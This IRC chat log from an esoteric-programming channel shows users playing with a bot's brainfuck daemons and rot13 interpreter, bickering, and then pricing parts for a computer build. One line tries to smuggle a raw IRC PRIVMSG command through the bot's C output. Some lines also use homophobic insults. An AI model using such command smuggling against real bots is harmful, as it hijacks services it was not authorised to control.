19:48:16 Daemon accumulate running. 19:48:18 AnMaster: Then you just need to make an iterating quine. 19:48:20 !accumulate test1 19:48:20 test1 19:48:24 !accumulate test2 19:48:24 sdrs0test2 19:48:30 !kill accumulate 19:48:31 Daemon accumulate killed. 19:48:31 That's ... weird. 19:48:31 err 19:48:35 memory corruption? 19:48:38 no, typo 19:48:47 oh 19:49:05 [<] and [>] hm 19:49:09 It's pretty easy to make it so that a part of the bot-loop-message changes. Well, "easy" depending on the language, anyway. Something with numbers and arithmetic can easily have a incrementing counter there; duplicate-checking won't help much. 19:49:13 should be optimised into strchr() 19:49:15 err 19:49:16 memchr() 19:49:18 or similar 19:49:20 IMO 19:49:23 !daemons 19:49:24 Running daemons: lol 19:49:28 !kill lol 19:49:29 Daemon lol killed. 19:49:31 !defintion lol 19:49:32 err 19:49:40 GregorR, command to show program command for daemon please 19:49:42 !daemon accumulate bf >+>+[[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] 19:49:42 Daemon accumulate running. 19:49:47 !accumulate test1 19:49:47 test1 19:49:49 !accumulate test2 19:49:56 ok, that was strange 19:49:56 AnMaster: Your wish is my command. 19:49:58 !kill accumulate 19:49:59 Daemon accumulate killed. 19:50:00 (In a sec :P ) 19:50:01 ais523, test it locally first? 19:50:06 !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] 19:50:07 Daemon accumulate running. 19:50:09 why, that's boring 19:50:16 GregorR, oh! Then change it to "give me all your money" ;P 19:50:18 !accumulate test1 19:50:18 test1 19:50:21 !accumulate test2 19:50:22 test1 test2 19:50:24 AnMaster: Oh wait, actually, that'd be a PITA, as I didn't keep it around X-P 19:50:25 !accumulate test3 19:50:25 test1 test2 test3 19:50:29 !accumulate test4 19:50:29 test1 test2 test3 test4 19:50:32 that's better 19:50:33 GregorR, meh 19:50:36 now just to remove the junk & 19:50:38 !kill accumulate 19:50:38 Daemon accumulate killed. 19:50:39 I love the random data at the beginning. 19:50:42 ais523, why is there at [0005] there 19:50:44 -!- Hiato has joined. 19:50:46 !daemon accumulate bf >+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] 19:50:46 Daemon accumulate running. 19:50:52 !accumulate give 19:50:52 19:50:59 fail 19:51:01 err, maybe not 19:51:02 !accumulate a shit 19:51:02 give a shit 19:51:05 !addinterp rot13 bf http://esoteric.sange.fi/brainfuck/bf-source/prog/rot13.b 19:51:07 !accumulate lol wat 19:51:07 give a shit lol wat 19:51:07 Interpreter rot13 installed. 19:51:11 !rot13 Hewwo 19:51:11 Urjjb 19:51:18 !rot13 123 19:51:19 !kill accumulate 19:51:19 Daemon accumulate killed. 19:51:21 !rot13 MILKING COWS; FOR PROFIT 19:51:21 ZVYXVAT PBJF; SBE CEBSVG 19:51:26 esoteric.sange.fi 19:51:28 what is that one 19:51:31 AnMaster: the archive. 19:51:32 I have seen it before somewhere 19:51:33 !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] 19:51:34 Daemon accumulate running. 19:51:36 oh that haskell one 19:51:38 The olde brainfuck archive. 19:51:38 ehird, AAAAAAAAAAAAAH! 19:51:40 !accumulate rot13 19:51:41 rot13 19:51:43 ^rot13 ZVYXVAT PBJF; SBE CEBSVG 19:51:43 MILKING COWS; FOR PROFIT 19:51:46 !accumulate accumulate 19:51:46 rot13 accumulate 19:51:49 ais523: You don't seem to be doing so well :P 19:51:57 oh well, I'll just leave the random ampersand there 19:52:05 what 19:52:07 The esolang mailing list was on sange.fi at some point, I think. 19:52:09 ais523: what ampysandy 19:52:11 It's not an ampersand for me :P 19:52:12 fizzie: yar 19:52:12 ais523, why do you need something in front at all 19:52:12 still is 19:52:14 It's a weird symbol. 19:52:14 it's just dead 19:52:22 For me it's an inverted-color K 19:52:23 err 19:52:23 AnMaster: so that it enters the loop 19:52:27 ais523, it is a [0005] 19:52:31 Oh. I wonder if I'm subscribed, and with what address. 19:52:31 not an ampersand 19:52:35 ah, it's an ampersand for me 19:52:38 ais523: make it [10] 19:52:43 ais523: then it'll send a blank message 19:52:44 doing nothing 19:52:51 ah that would work 19:52:51 ehird: That's hyperuseful :P 19:52:57 GregorR: wat 19:53:01 No, because a blank message will waste your output line. 19:53:16 ais523, make it a space instead 19:53:20 Output lines are precious, you only get one per input line :P 19:53:29 AnMaster: that would make the input program longer 19:53:32 I'll leave it as-is 19:53:39 !accumulate ampersand 19:53:40 rot13 accumulate ampersand 19:54:00 actually, I'm about to go home 19:54:00 !accumulate 19:53 EgoBot: rot13 accumulate ampersand 19:54:00 rot13 accumulate ampersand 19:53 EgoBot: rot13 accumulate ampersand 19:54:03 GregorR, do the programs run between input lines 19:54:04 !accumulate Then Gregor made it uselesssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss 19:54:04 rot13 accumulate ampersand 19:53 EgoBot: rot13 accumulate ampersand Then Gregor made it uselessssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss 19:54:05 ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss 19:54:06 or are they suspended 19:54:14 !accumulate Then Gregor made it uselesssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss 19:54:14 ssssssssssssssssssssssssssssssssssssssssssssssss 19:54:17 AnMaster: They run. 19:54:19 !accumulate Then Gregor made it uselesssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss 19:54:19 rot13 accumulate ampersand 19:53 EgoBot: rot13 accumulate ampersand Then Gregor made it uselessssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss 19:54:24 sssssssss 19:54:25 AnMaster: They're true daemons in the classic sense. 19:54:30 so I'll clear it now, please put topics of conversation in there, not junk, and I'll look at it when I come bacj 19:54:31 GregorR, ah 19:54:31 *back 19:54:32 Snakes on a channel. 19:54:33 GregorR: err 19:54:33 !kill accumulate 19:54:34 Daemon accumulate killed. 19:54:37 GregorR: a malevolent spirit? 19:54:37 !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] 19:54:38 Daemon accumulate running. 19:54:41 -!- ais523 has quit (Remote closed the connection). 19:54:48 !accumulate junk 19:54:48 junk 19:54:51 no 19:54:53 :( 19:54:57 that isn't what ais said 19:55:05 !c printf("\nPRIVMSG #esoteric: Flimble.\n") 19:55:06 !accumulate ehird being annoying again 19:55:06 junk ehird being annoying again 19:55:17 !accumulate ; 19:55:18 junk ehird being annoying again ; 19:55:24 !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] 19:55:24 That daemon is already running! 19:55:26 !accumulate junk 19:55:27 junk ehird being annoying again ; junk 19:55:30 !kill accumulate 19:55:30 Daemon accumulate killed. 19:55:30 !c printf("Test?\nPRIVMSG pikhq: Flimble.\n") 19:55:31 !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] 19:55:31 Test? 19:55:31 Daemon accumulate running. 19:55:33 !accumulate junk 19:55:33 junk 19:55:37 junk is a topic of conversation 19:55:40 like ais said 19:55:44 evidence: we're talking about it 19:55:45 !accumulate ehird being annoying again 19:55:45 junk ehird being annoying again 19:55:53 Aaaw, no raw IRC commands. 19:55:57 we are talking about that too 19:55:57 evidence: we're talking about it // laaaaaaaaawl 19:55:58 AnMaster: i am logically correct, by your own admission: 19:56:03 !kill accumulate 19:56:03 Daemon accumulate killed. 19:56:06 !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] 19:56:06 Daemon accumulate running. 19:56:08 !accumulate junk 19:56:08 !accumulate ehird being annoying again 19:56:08 junk 19:56:09 junk ehird being annoying again 19:56:11 !kill accumulate 19:56:12 Daemon accumulate killed. 19:56:15 !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] 19:56:15 Daemon accumulate running. 19:56:16 I can do this all day. 19:56:17 OMFG STOOOOOOOOOOP 19:56:18 !accumulate junk 19:56:18 junk 19:56:20 !accumulate ehird being annoying again 19:56:20 junk ehird being annoying again 19:56:26 !kill accumulate 19:56:26 Daemon accumulate killed. 19:56:28 GregorR, sure. 19:56:28 !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] 19:56:29 Daemon accumulate running. 19:56:30 when he does 19:56:31 !accumulate junk 19:56:31 junk 19:56:31 !accumulate ehird being annoying again 19:56:32 junk ehird being annoying again 19:56:32 stop ehird 19:56:34 !kill accumulate 19:56:35 Daemon accumulate killed. 19:56:36 !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] 19:56:37 Daemon accumulate running. 19:56:38 !accumulate ehird being annoying again 19:56:38 ehird being annoying again 19:56:39 * ehird whistle 19:56:40 !kill accumulate 19:56:40 Daemon accumulate killed. 19:56:41 !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] 19:56:42 Daemon accumulate running. 19:56:44 you're being even more annoying than i 19:56:44 !accumulate junk 19:56:45 junk 19:56:48 !accumulate ehird being annoying again 19:56:48 Thar. 19:56:48 junk ehird being annoying again 19:56:50 !kill accumulate 19:56:51 Daemon accumulate killed. 19:56:52 !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] 19:56:52 Daemon accumulate running. 19:56:55 !accumulate junk 19:56:55 junk 19:56:59 I plead insanity, by the way. 19:57:05 !accumulate ehird being very annoying again. As usual. 19:57:05 junk ehird being very annoying again. As usual. 19:57:09 !kill accumulate 19:57:09 Daemon accumulate killed. 19:57:13 ehird, stop it 19:57:15 AnMaster: I'd like to point out that this is 50/50. 19:57:15 !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] 19:57:16 Daemon accumulate running. 19:57:18 !accumulate junk 19:57:29 coo, it dedded 19:57:31 I made it refuse that. 19:57:31 !kill accumulate 19:57:31 Daemon accumulate killed. 19:57:33 So nyaa. 19:57:37 there 19:57:41 !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] 19:57:41 Daemon accumulate running. 19:57:43 !accumulate junk 19:57:46 !accumulate junk 19:57:48 !accumulate junk, 19:57:51 !accumulate j u n k 19:57:55 !accumulate knuj 19:57:58 ehird, see what you did. 19:58:03 !accumulate rubbish 19:58:22 I think he blocked accumulate 19:58:33 !accumulate ehird being very annoying again. As usual. 19:58:36 !daemon gain bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] 19:58:36 Daemon gain running. 19:58:38 !gain junk 19:58:38 junk 19:58:41 argh 19:58:44 GregorR, ^ 19:58:47 !gain , a chinese one to be precise 19:58:47 junk , a chinese one to be precise 19:58:53 !gain ehird being very annoying again. As usual. 19:58:53 junk , a chinese one to be precise ehird being very annoying again. As usual. 19:59:02 Oh for cripes sake. 19:59:02 !kill gain 19:59:02 Daemon gain killed. 19:59:08 GregorR, agreed. 19:59:14 !daemon I_am_AnMaster_and_I_am_the_most_gayest_gay_person_ever bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] 19:59:15 Daemon I_am_AnMaster_and_I_am_the_most_gayest_gay_person_ever running. 19:59:15 why can't he just do something else 19:59:17 The solution to anything! 19:59:21 !I_am_AnMaster_and_I_am_the_most_gayest_gay_person_ever junk 19:59:21 junk 19:59:31 8) 19:59:45 GregorR, sigh. Please make it ignore ehird or something. Since he can't behave. 19:59:50 !kill I_am_AnMaster_and_I_am_the_most_gayest_gay_person_ever 19:59:50 Daemon I_am_AnMaster_and_I_am_the_most_gayest_gay_person_ever killed. 19:59:57 AnMaster: it's good to come out 19:59:59 I'm glad you have 20:00:17 ehird, I see you don't know who you are. 20:00:20 since you think you are me. 20:00:37 no, mine was a false statement since "I am AnMaster" was 20:00:37 OK children, it's time to go to kindergarten, stop fighting and eat your waffles. 20:00:51 * AnMaster puts ehird on ignore 20:00:54 GregorR: of course, that only applies to the other person, I handled this maturely and responsibly 20:00:57 it helps 20:00:59 ↑ what everyone thinks when they hear that 20:01:04 now lets get back to relevant stuff. 20:01:15 !daemon I_am_AnMaster_and_I_am_the_most_gayest_gay_person_ever bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] 20:01:15 No. 20:01:18 :-D 20:01:29 GregorR, he is abusing the bot! 20:01:36 to evade ignore. 20:01:48 AnMaster: Actually, it outputs "No." whenever it receives a command from him. 20:02:03 you're going to make GregorR turn this channel around and go back home 20:02:03 bwahaha 20:02:03 GregorR, ah :) 20:02:08 GregorR: so I assume that AnMaster didn't do anything wrong at all 20:02:13 only contributing to half of it 20:02:23 ehird: I've stopped the cycle. 20:02:30 Or so you think. 20:02:57 ehird: Given that AnMaster is not now using the bot at all, I'm gonna go with "I stopped the cycle" 20:03:14 ^help 20:03:14 ^ ; ^def ; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool 20:03:21 ^def accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] 20:03:21 Defined. 20:03:25 ^accumulate 2cool4skool 20:03:31 ...out of time! 20:03:36 lawl 20:03:43 no daemons 20:04:14 Why is it that you two are so much more immature around each other than in any other situation anyway X_X 20:04:28 GregorR, I'm not immature! 20:04:31 Because he's annoying. 20:04:33 Because he's annoying. 20:04:40 I don't know why ehird is. Meh. 20:04:42 I'm not immature! 20:05:03 Bloody fekking oy X_X 20:05:07 * GregorR walks away from the channel for a while. 20:05:08 It takes a startling amount of cognitive dissonance to partake in the exact same activity as someone else and claim it only makes *them* immature. 20:05:23 Bloody fekking oy X_X <-- I wonder what happened there. 20:05:48 ehird: sounds like my wife 20:06:04 Robdgreat: My voice is quite high-pitched, yes. ← I 20:06:08 'm funny because I deliberately misunderstand people 20:06:47 ehird: and then when I point out the hypocrisy I get "so the fact that I do it means you have to?!" 20:07:09 how I love irrational behavior 20:07:14 Do what I say not what I do, unless it's obvious that you should be doing what I do, don't you know anything 20:08:19 I keep telling her my mind-reading license was revoked some years before we met. 20:08:50 Marriage ruins everything! 20:09:29 yeah NOW you tell me 20:14:38 [ehird:~/Code/ante] % runhaskell Main.hs 20:14:38 Main.hs: Prelude.undefined 20:14:43 one small step for a keyboard 20:14:48 ONE GIANT LEAP FOR BRAINFUCK OPTIMIZATION KIND 20:15:38 ehird: Clearly your BF optimizer is working great :P 20:20:43 Clearly. 20:24:50 -!- xor has changed nick to bsmntbombdood. 20:30:28 someone link to lostkng 20:33:49 or, you know 20:33:49 not 20:33:51 :D 20:34:47 JFGI. 20:35:59 I did. 20:36:03 Didn't find kthx 20:36:14 :P 20:37:08 -!- oerjan has joined. 20:37:22 * oerjan was worried there for a moment 20:37:45 i turn on my laptop and the screen is black... 20:38:06 IBM RPG ftw 20:43:44 -!- puzzlet_ has joined. 20:44:03 -!- puzzlet has quit (Connection reset by peer). 20:44:39 i became openCOBOL hacker 20:44:57 I'm sorry. 20:45:26 open cow bol 20:48:03 It'd be nice if Gmail could send you an email every time you get an email so that you know when to check. 20:48:42 not really. 20:49:00 kerlo: Xzibitmail 20:58:45 ehird: what did you do 20:58:54 bsmntbombdood: wat 20:59:09 kerlo: maybe an RSS feed? 20:59:13 bsmntbombdood: amusingly I was just reading some logs where you were talking about trying Uberman's; how did that go? 20:59:17 oerjan: gmail has a feed. 20:59:23 oh 20:59:31 circa 2007-05 20:59:41 well, 29th, more like -06 20:59:52 ehird: horrible 20:59:54 i was miserable 21:00:08 bsmntbombdood: how long did you do it? 21:00:17 3 days 21:00:28 bsmntbombdood: the article says days 3-10 are the worst 21:00:31 on the third day,. 21:00:40 ...god created the something. 21:00:58 So how many of us have ehird on /ignore now? 21:01:03 the something something 21:01:05 kerlo: you and AnMaster 21:01:18 nobody else is stupid enough to miss out on me :-) 21:01:19 i was supposed to be waking up from a nap, slept about 4 hours through me hideously loud alarm, mother came into my room and tried to wake her, and i apparently sleep-talked her into letting me go back to sleep 21:01:19 kerlo: not me 21:01:29 and then i woke up about 12 hours later 21:01:34 bsmntbombdood: :D 21:04:55 13:35:14 speaking of brainfuck, how does one use the Database in brainfuck ? 21:05:06 and all i could manage to do with my extra time was sit in front of the computer and watch tv 21:05:59 I have my alarm clock set to make a little clicking noise at 4 AM. 21:06:34 The exact same little clicking noise wakes me up at 6 AM, but not once has it woken me up at 4 AM. 21:07:33 -!- coppro has quit ("The only thing I know is that I know nothing"). 21:07:59 -!- coppro has joined. 21:08:01 the sound of my alarm clock is physically repulsive 21:08:07 even when awake, i can't stand it 21:08:23 My alarm clock is my iPhone; it sounds fine, but it's simultaneously in its dock and trying to vibrate 21:08:31 BZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZT! BZZZZZZZZZZZZZZZZZZZT! KRRRRRRRRRRRRRRRRBZZZZZZZZZZZZZZZZZT! 21:09:05 garlic 21:09:23 mm, garlic 21:15:25 -!- tombom has quit ("Peace and Protection 4.22.2"). 21:18:24 fingarlicking good 21:24:01 Wow 21:24:02 "CPU: PIII 450MHz, Id 0x673, Stepping 3 " 21:24:09 Nils M Holm uses that CPU. 21:24:17 He wasn't joking when he said he had an old computer 21:24:21 "Memory: 256MB PC133 SDRAM w/ ECC" 21:24:25 Geez 21:29:50 i only have a p4 2ghz with 512mb of ram 21:30:28 bsmntbombdood: beats a p3 450mhz 21:30:45 heh, http://peltiertech.com/WordPress/wp-content/img200811/GraphJam3d.jpg 21:30:47 heh, i have a core 2 duo 2.16ghz w/ 2.5gb of ram and *I* feel limited ... :-) 21:31:47 i'm going to buy something soon 21:31:53 me too 21:32:05 you filthy capitalists 21:32:05 i think a 4-core core i7 3.2ghz w/ 12gb of (ddr3) ram should last a while at least 21:32:07 at least 4 cores and 8gb 21:32:20 bsmntbombdood: i have 4gb on you bitch 21:32:25 oerjan: yeah, tell me about it 21:34:52 those new core i7s are expensive 21:35:19 bsmntbombdood: very... but also delicious 21:35:26 20-40% faster memory access? delicious 21:35:42 what about the quad core amds? 21:35:43 bsmntbombdood: oh, and with an i7 you have to use ddr3 21:35:50 and the new AMDs are kind of crap 21:35:51 Then you can run Mycology in less than 0.001 seconds! 21:36:00 they're slightly less thermally challenged and competitive with core 2 extremes 21:36:02 big whoop 21:36:09 they are cheap though 21:36:22 bsmntbombdood: but ddr3 really is expensive 21:36:29 £300 or so for 12GB 21:36:29 The core 2s are still faster than the i7s for some CPU-bound stuff 21:36:37 -!- Hiato has quit ("Leaving."). 21:36:46 Deewiant: yeah, but at 3.2ghz it's probably unnoticable unless you're doing wacky stuff 21:36:51 ehird: no way 21:36:56 bsmntbombdood: yeah way 21:37:05 that was high-clocked ram tho 21:37:13 still, $$$ 21:37:14 ehird: Yeah, I don't think it's a very big difference. Maybe a few minutes if you're doing video encoding or something. 21:37:30 Deewiant: yeah - and that ram access is nice 21:37:34 Deewiant: orly? 21:37:35 esp since it has a small l2 21:37:50 bsmntbombdood: i7s have hyperthreading too 21:37:52 which is nice 21:37:56 bsmntbombdood: Probably notrly since I pulled that out of my sleeve, google for benchmarks if you want rly 21:37:58 (core 2 doesn't) 21:38:21 oh, you also need a new mobo 21:38:25 new socket count 21:38:27 thing 21:39:13 i know nothing about ram anyway 21:39:37 lemme look up the cost of 8gb "bog standard" ddr3 21:39:55 http://www.newegg.com/Product/Product.aspx?Item=N82E16820227388 21:40:02 bsmntbombdood: $244 from mushkin http://www.mushkin.com/doc/products/memory_detail.asp?id=766 21:40:07 * ehird looks at that 21:40:14 hmm, ocz 21:40:18 not sure I'd trust ocz with my ram 21:40:29 What? Why not? 21:40:38 what's ocz? 21:40:41 Deewiant: irrational human bias 21:40:43 bsmntbombdood: a company 21:41:01 bsmntbombdood: who make things like a thing that reads your brainwaves to control a computer badly 21:41:12 well, and good ssds, but let's not let facts get in the way of irrational bias 21:41:13 Orly? 21:41:17 Deewiant: yes 21:41:20 ocz "actuator" 21:41:21 I know them only for good RAM and semigood SSDs 21:42:39 * bsmntbombdood gives ehird $1500-2000 and tells him to buy me a computer 21:42:50 damn I wish my new rig was that cheap :( 21:42:52 :) 21:43:05 ofc it would be if I wasn't trying to silence it 21:43:06 blargl 21:44:20 bsmntbombdood: i'm bored so I'm going to find the best parts I can for that money 21:44:21 -!- ehird has left (?). 21:44:24 -!- ehird has joined. 21:44:27 oops 21:44:32 ... that was intentional, totally 21:44:37 i leave channels for dramatic effect 21:44:50 ehird: oh and i want 1tb raid1 21:45:04 bsmntbombdood: rightyho 21:45:19 garlic <-- \o/ 21:45:21 :D 21:45:23 If you want hardware RAID that'll be another $1000 21:45:33 bsmntbombdood: do you want hardware raid. 21:45:37 AnMaster: :D 21:45:40 Deewiant: I've seen ones for $700 21:45:53 bsmntbombdood: I'll just assume you want hardware raid. 21:45:57 ehird: ≅ 21:46:01 and can compromise cpu clockage for it :P 21:46:03 hardware raid won't speed up raid1 significantly will it? 21:46:08 dunno, ask Deewiant 21:46:10 coppro, vanilla icecream > garlic > * 21:46:16 Deewiant: will hardware raid speed up raid1 significantly 21:46:19 heh 21:46:20 hmmm' 21:46:22 hmmm* 21:46:24 what about 21:46:25 Beats me 21:46:26 software support for mirroring is good iirc 21:46:29 garlic icecream 21:46:30 we need that 21:46:48 right then no hardware raid 21:46:58 i imagine if you have a raid controller with a big cache it'll speed up anything, but it's probably not worth it if you have a large amount of ram 21:47:26 bsmntbombdood: do you care about noise or coolers or any of that shit or can I have a break from fussing about that rubbish ;-) 21:48:00 I wonder if there is any music using the lowest octave on the piano. Well of course there is music for other instruments using it. But I can't think of any for piano specifically 21:48:26 bsmntbombdood: I'm currently hardlimiting to $1500 fwiw 21:48:38 Which means you get a clock speed lower than 3.2ghz :-P 21:48:49 2.93ghz is half the price, lol. 21:48:57 possibly the lowest *and* the highest at once :) 21:49:56 bsmntbombdood: 6gb of ram fine for you? nehalem works better with odd amounts iirc :-P 21:50:01 ehird: no 21:50:06 fine 21:50:10 8gb or 12gb it is :P 21:50:27 bsmntbombdood: 6gb of ram fine for you? nehalem works better with odd amounts iirc :-P <-- [citation needed] 21:50:31 -!- tombom has joined. 21:50:32 AnMaster: wp 21:50:39 it seems rather strange that it would 21:50:42 and 6 is even 21:50:46 err i meant 21:50:49 odd number of actual ram stix 21:50:55 ah 21:50:56 well 21:51:24 bsmntbombdood: 12gb it is then 21:51:29 unless i can find 8gb 21:51:59 ehird, can't find it 21:52:05 AnMaster: meh, it's true anyway :P 21:52:21 bsmntbombdood: any video card requirements 21:52:22 ehird, why 21:52:22 ? 21:52:32 ehird: none 21:52:34 AnMaster: because the nehalem's integrated memory controller thing has 3 slots that's why 21:52:40 gaming's for fags 21:52:40 ah 21:52:41 bsmntbombdood: kay 21:52:49 bsmntbombdood: just onboard then? 21:53:27 i think that is sufficient 21:53:50 bsmntbombdood: dammit, the mobo only has 3 ram slots, so I can't fit 12gb in there. [dealwith6gb/picknewmobo] _ 21:54:03 the latter 21:54:11 mobo picking process initiated 21:54:18 ehird: 3*4 21:54:30 Deewiant: find me 4gb of ddr3 ram on newegg 21:54:35 ehird: No, you do it 21:54:39 i'm trying 21:54:39 :) 21:54:42 ehird, are you ordering for bsmntbombdood 21:54:49 AnMaster: i'm finding the components for bsmntbombdood 21:54:53 since I'm le bored 21:55:02 bsmntbombdood: ah, $10 more gets you a mobo with 6 slots 21:55:07 How's your funge interp doing 21:55:48 ehird, hm http://www.theinquirer.net/inquirer/news/1024053/performance-ram-damage-nehalem 21:55:57 bsmntbombdood: ...but it has no onboard video, so I'll have to get an el cheapo card 21:56:23 cpu+mobo+ram currently @ $1084.96 21:56:57 bsmntbombdood: you run linux right 21:57:08 AnMaster: 7 months ago... 21:57:12 Deewiant, yes 21:57:20 AnMaster: yeah I know 21:57:23 Deewiant, just saw it as a reference on wp 21:58:02 bsmntbombdood: rite? 21:58:14 ehird: yeah 21:58:24 bsmntbombdood: so, cheapest modern nvidia card I can find then 21:58:31 kay 21:59:26 bsmntbombdood, can't you find this yourself btw 21:59:29 just wondering 21:59:58 AnMaster: no 22:00:09 does the core i7 have new simd instructions? 22:00:19 probably. 22:00:20 What's "new" 22:00:46 It goes to SSE4.2 22:01:15 bsmntbombdood: i assume you're ok with onboard audio 22:01:37 and don't need a new monitor :P 22:01:38 ehird: i don't know, what will the difference be? 22:01:49 bsmntbombdood: probably nothing. 22:01:55 ok, raid1 time 22:02:01 2x1tb drive time, rather 22:05:04 bsmntbombdood: I currently have a 2.93ghz i7, mobo, 12gb ddr3 ram, radeon 4350 gfx, and two hitachi 7200rpm 1tb drives at $1294.93 22:05:56 AnMaster: no <-- why not 22:06:05 bsmntbombdood: any comments or shall i continue 22:06:14 AnMaster: i'd do it anyway, i find this kind of thing fun 22:06:21 ehird, oh ok 22:06:28 I hate trying to find new computer 22:06:32 especially laptops 22:06:37 ehird: you forgot a case and psu 22:06:41 bsmntbombdood: no duh 22:06:46 that's why I said "shall I continue" 22:06:46 :P 22:06:47 making sure it works with Linux. And wlan 22:06:50 ARGH FOR WLAN 22:06:52 I hate wlan 22:07:19 bsmntbombdood: any case requirements? some people like a transparent case showing loads of wires, it makes them feel 1337. i can't begin to imagine why 22:07:33 ehird, what about that open case 22:07:34 :D 22:07:36 ehird: nothing retarded like that, it should just be roomy 22:07:37 forgot the name of it 22:07:41 just a frame 22:07:51 bsmntbombdood: just construct a new room in your house and put the hw in there 22:07:53 that's very roomy 22:07:57 http://instantrimshot.com 22:08:15 hmm, wonder how much watts this thing needs 22:08:31 bsmntbombdood: so how roomy is roomy for you 22:09:11 ehird: I'd be more impressed if the room was necessary. 22:09:56 dunno 22:10:31 bsmntbombdood: how's 18.9"x8"x17.2" sound 22:11:05 ehird, bsmntbombdood http://www.antec.com/Believe_it/product.php?id=NzA0 22:11:08 that is the perfect case 22:11:09 :P 22:11:19 looks like a bbq 22:11:24 :D 22:11:28 O_o 22:11:32 lawl 22:11:35 http://www.futurelooks.com/antec-skeleton-open-air-case-review/ 22:11:38 that is a review of it 22:12:03 bsmntbombdood: kay, I got a psu and a case 22:12:07 tot.: $1444.91 22:12:37 bsmntbombdood: http://pastie.org/467029.txt?key=rdogtxjhg9o05mr5xndwq 22:14:50 bsmntbombdood: so that's 22:15:01 quad-core core i7 940 @ 2.93ghz 22:15:06 bog standard i7 mobo 22:15:13 12gb of ddr3 ram (6x2) 22:15:36 radeon hd 4350 512mb, 2*1tb 7200rpm drive 22:15:40 and a blah regular roomy case 22:15:50 i don't see any obvious non-graphics-intensive bottlenecks there 22:15:52 Deewiant: do you? 22:16:07 Overkill GPU if he's not going to use it for anything 22:16:12 Sure 22:16:16 Deewiant: It's $39.99 22:16:26 And it's a relatively modern card 22:16:31 Not a big deal 22:16:39 Hmm, maybe it's crap then 22:16:43 If it's that cheap :-P 22:16:49 i can't remember if it's ATI or Nvidia that has bad linux support 22:16:52 bsmntbombdood: ati 22:16:57 ati have bad linux support 22:17:07 Yeaah, worse than a Radeon 9700 22:17:14 Deewiant: he said gaming is for fags. 22:17:17 he wanted onboard video 22:17:20 I know 22:17:25 ehird: then why did you pick an ati 22:17:26 I just got the cheapest card I recognized cause the mobo didn't have that 22:17:28 big deal :P 22:17:31 bsmntbombdood: hmm 22:17:34 mind lapsed 22:17:37 :-D 22:17:43 although the crappier atis have better linux support 22:17:46 but right, i'll repick a nvidia 22:17:51 i just don't know anything about nvidias :-) 22:18:04 well i know nothing about either one 22:18:09 But anyway, that card is worse than something I was thinking of purchasing back in 2003 22:18:14 I wonder why it has 512MB of RAM 22:18:14 Deewiant: law 22:18:15 l 22:18:32 Deewiant: SPARKLE GeForce 9400 GT SFPX94GT1024U2 Video Card - Retail 1gb 22:18:44 do YOU know anything about nvidias? 22:18:47 Seems to be in the same category 22:18:56 Also worse than that 2003 card :-P 22:19:05 